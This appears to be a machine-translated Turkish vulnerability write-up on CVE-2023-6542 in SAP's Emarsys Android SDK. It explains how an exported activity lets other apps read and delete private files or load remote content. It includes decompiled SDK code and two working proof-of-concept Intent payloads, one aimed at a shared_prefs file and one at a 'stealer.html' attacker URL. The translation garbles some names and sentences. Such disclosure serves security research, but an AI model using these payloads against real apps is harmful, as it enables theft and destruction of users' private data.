Android Hassas Veri Sızıntısı için SAP Emarsys SDK (CVE-2023-6542)


2023’ün sonlarında, Emarsys SDK’sını Android sürümleri 3.6.1 ve daha düşük olan SAP ile etkileyen oldukça ilginç bir güvenlik açığını keşfettik ve koordine ettik. Genel koordinasyon süreci sorunsuz bir şekilde ilerlerken, SAP tarafından yayınlanan güvenlik danışmanlığı sadece güvenlik açığının kısa ve kısmen yanıltıcı bir tanımına sahipti:

Android için Emarsys SDK’da uygun yetkilendirme kontrollerinin olmaması nedeniyle, bir saldırgan belirli bir etkinliği arayabilir ve doğrudan ana bilgisayar uygulamasından herhangi bir doğrulama olmadan web sayfalarını ve/veya derin bağlantıları iletebilir. Başarılı saldırıda, bir saldırgan cihazdaki derin bağlantılar uygulaması da dahil olmak üzere keyfi URL’ye gidebilir.

Bununla birlikte, gerçekte, bu güvenlik açığı, etkilenen uygulamanın özelinden verileri sızdırmak için kullanılabilir. /data/data Rasgele dosyaları silme ve ayrıca herhangi bir web içeriğini bir uygulama kaplamasına uzaktan yükleyin. Resmi danışmanlığın söylediklerinden oldukça farklı.

Kök Neden Analizi

Emarsys SDK’nın savunmasız bir sürümünü mobil uygulamanıza eklediğinizde, otomatik olarak yeni bir etkinlik eklediğini fark edeceksiniz. com.emarsys.NotificationOpenedActivity varsayılan olarak dışa aktarılır:

Bu etkinliğe verilen niyet verilerini izlerken ( payload ekstra), niyetin nihayet gireceğini fark edeceksiniz. com.emarsys.mobileengage.notification.command.PreloadedInappHandlerCommand.run():

public final class PreloadedInappHandlerCommand implements Runnable {
    private final Intent intent;

    public PreloadedInappHandlerCommand(Intent intent) {
        Intrinsics.checkNotNullParameter(intent, "intent");
        this.intent = intent;
    }

    @Override // java.lang.Runnable
    public void run() {
        Bundle payload;
        String ems;
        try {
            Bundle extras = this.intent.getExtras();
            if (extras != null && (payload = extras.getBundle(DatabaseContract.REQUEST_COLUMN_NAME_PAYLOAD)) != null && (ems = payload.getString("ems")) != null) {
                JSONObject emsJson = new JSONObject(ems);
                JSONObject inAppDescriptor = new JSONObject(emsJson.getString("inapp"));
                String campaignId = inAppDescriptor.getString("campaignId");
                String url = JsonUtilsKt.getNullableString(inAppDescriptor, "url");
                String fileUrl = JsonUtilsKt.getNullableString(inAppDescriptor, "fileUrl");
                String sid = extractSid(payload);
                String html = null;
                if (fileUrl != null) {
                    html = MobileEngageComponentKt.mobileEngage().getFileDownloader().readFileIntoString(fileUrl);
                    new File(fileUrl).delete();
                }
                if (html == null && url != null) {
                    html = MobileEngageComponentKt.mobileEngage().getFileDownloader().readURLIntoString(url);
                }
                if (campaignId != null && html != null) {
                    scheduleInAppDisplay(campaignId, html, sid, url);
                }
            }
        } catch (JSONException e) {
        }
    }

Bu işlev, niyet verilerini bir JSON nesnesi olarak ayrıştırır ve ondan birkaç değer çıkarır. En ilginç kısımlar url Ve fileUrl bir çağrıda kullanılan parametreler readFileIntoString()sırasıyla readURLIntoString().

ReadFileIntOstring () aracılığıyla özel verileri sızıntı (ve silme)

Eğer fileUrl JSON nesnesinde mevcut olan SDK, kullanıcı tarafından sağlanan kullanıcı tarafından sağlanan ReadFileIntOstring () işlevini çağıracaktır. fileUrl:

public String readFileIntoString(String fileUrl) {
        Intrinsics.checkNotNullParameter(fileUrl, "fileUrl");
        BufferedReader bufferedReader = new BufferedReader(new FileReader(fileUrl));
        try {
            BufferedReader it = bufferedReader;
            String readToString = readToString(it);
            Closeable.closeFinally(bufferedReader, null);
            return readToString;
        } finally {
        }
    }

Bunun nereye gittiğini tahmin edebilirsiniz. Doğrulama olmadığından fileUrl Hiç bir saldırgan bunu uygulama içindeki ulaşılabilir herhangi bir dosyaya yönlendirebilir. Sızılabilecek dosyalar büyük ölçüde hedeflenen uygulamanın veri dizininde neler sakladığına bağlıdır. Örneğin, bir dosya kullanıyorsa /data/data/com.mrtuxracer.app/shared_prefs/AppPrefs.xml Bazı sulu veriler saklamak için, bu dosyayı şöyle sızdırabilirsiniz:

Intent intent = new Intent();
intent.setClassName("com.mrtuxracer.app","com.emarsys.NotificationOpenedActivity");
intent.setAction("OpenExternalUrl");
Bundle extraBundle = new Bundle();
String emsPayload = "{\"inapp\": {\"campaignId\": 1, \"fileUrl\":\"/data/data/com.mrtuxracer.app/shared_prefs/AppPrefs.xml\"}, \"actions\": [{\"id\":\"OpenExternalUrl\"}]}";
extraBundle.putString("ems", emsPayload);
intent.putExtra("payload", extraBundle);
startActivity(intent);

Bu yükü yürütürken, uygulama dosyanın içeriğini ekrana sızdırır.

Burada bir yan etki, dosyanın aynı zamanda da silinmesidir. File(fileUrl).delete() Arama.

ReadurlintOstring () aracılığıyla keyfi URL’lerin yüklenmesi ()

Bu sorunu kullanmanın ikinci bir yolu var. Belirtmek yerine fileUrlayrıca bir url JSON nesnesinde. Bu bir çağrı tetikleyecek readURLIntoString():

    public String readURLIntoString(String url) {
        BufferedReader bufferedReader;
        Intrinsics.checkNotNullParameter(url, "url");
        InputStream inputStreamFromUrl = inputStreamFromUrl(url);
        if (inputStreamFromUrl != null) {
            Reader inputStreamReader = new InputStreamReader(inputStreamFromUrl, Charsets.UTF_8);
            bufferedReader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
        } else {
            bufferedReader = null;
        }
        BufferedReader bufferedReader2 = bufferedReader;
        try {
            BufferedReader it = bufferedReader2;
            String readToString = it != null ? readToString(it) : null;
            Closeable.closeFinally(bufferedReader2, null);
            return readToString;
        } finally {
        }
    }

Bunu kullanırken:

Intent intent = new Intent();
intent.setClassName("com.mrtuxracer.app","com.emarsys.NotificationOpenedActivity");
intent.setAction("OpenExternalUrl");
Bundle extraBundle = new Bundle();
String emsPayload = "{\"inapp\": {\"campaignId\": 1, \"url\":\"https://crazy.hacker.url/stealer.html\"}, \"actions\": [{\"id\":\"OpenExternalUrl\"}]}";
extraBundle.putString("ems", emsPayload);
intent.putExtra("payload", extraBundle);
startActivity(intent);

Gerçekten herhangi bir uzaktan içeriği bir uygulama kaplamasına yükleyebilirsiniz:

Dolayısıyla, genel olarak, bu güvenlik açığının resmi danışmanlıkta belirtilenden çok daha yüksek bir etkisi vardır.



Source link